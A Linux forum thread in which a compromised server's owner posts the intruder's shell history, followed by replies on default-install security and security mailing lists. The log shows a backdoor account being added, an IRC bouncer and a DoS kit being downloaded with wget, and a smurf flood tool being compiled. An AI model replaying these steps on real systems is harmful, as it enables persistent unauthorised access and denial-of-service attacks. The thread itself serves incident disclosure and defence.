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Was nice of them to leave all of this... Here's some more I have discovered...... I don't think it is a worm 'cause you can see that they make typing ...
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    Was nice of them to leave all of this... Here's some more I have discovered......

    I don't think it is a worm 'cause you can see that they make typing mistakes....

    w
    ps -ax
    uptime
    w
    w
    useradd zunja
    passwd zunja
    uptime
    ls -a
    w
    cd /home
    ls -a
    ifconfig
    uptime
    w
    ps -ax
    uptime
    w
    exit
    uptime
    hostname
    ifconfig
    w
    w
    w
    w
    ls -a
    wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz
    gunzip psyBNC2.3.1.tar.gz
    tar -xf psyBNC2.3.1.tar
    cd psybnc
    make menuconfig
    w
    w
    uptime
    exit
    hostname
    ls -a
    uname -a
    cd /tmp
    ls -a
    mkdir tmpd
    gcc
    cd ~
    rm -rf psybnc
    rm psyBNC2.3.1.tar
    exit
    uptime
    w
    ls -a
    exit
    uoptime
    uptime
    w
    cd /tmp
    mkdir tmp
    cd tmp
    cd tmp
    gcc
    ls -a
    pwd
    wget http://packetstormsecurity.org/DoS/spike.sh4.zip
    unzip spike.sh4.zip
    ls -a
    ./spike.sh
    spike
    make
    pico readme
    less redame
    vi readme
    vi spike.sh
    ls -a
    gcc -o smurf smurf.c
    whois zunja.biz
    whois zunja.net
    whois zunja.info
    whois zunja.gs
    exit


    I have rebuilt my site - had to go through all the content as all my index.html files I have had been modified too.

    Won't put the site back up until I have secured the system properly this time......

    You live and learn hey !

    Cheers,

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    How common is it to get hacked on any linux distro, only if you give your IP out to a few people.. Ones that you trust. I think that indonesian is feeling kinda sorry about doing that now.

  3. #13
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    You dont have to give your ip address out to get hacked. Most s'kiddies/crackers dont seek out your box (well the might if they knew you or had a use for your specific system/network ), they would scan a broad range of ips and then just look for any running services that can be exploited.

    Most linux distro's default isntall are terribly insecure, maybe even more so than a M$ product.

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  5. #14
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    you know, you are right. Most distros. NetBSD hasn't shipped with a remote exploit in their default install in like 5 years though. Also, if the distro realizes something is compromisable they will send out an email to everyone who has registered (even the free registrations) letting them know that it is insecure, and that there is a patch/new rpm/workaround. This is a lot better than Windows idea of "we know it exists, but we aren't classifying the problem as high enough to actually fix"
    I respectfully decline the invitation to join your delusion.

  6. #15
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    Openbsd has had 1 exploit in its default install in the last 7 years, but the bsd crowd are more restrictive (from what I have seen) on what goes out in each release.

    They are plenty of really good mailing lists, essential reading if your an admin.

  7. #16
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    a good linux security recource, oddly enough, is www.linuxsecurity.com

    Sigup for the newsletter also, good reading!

  8. #17
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    I find Vulnwatch the most usefull.

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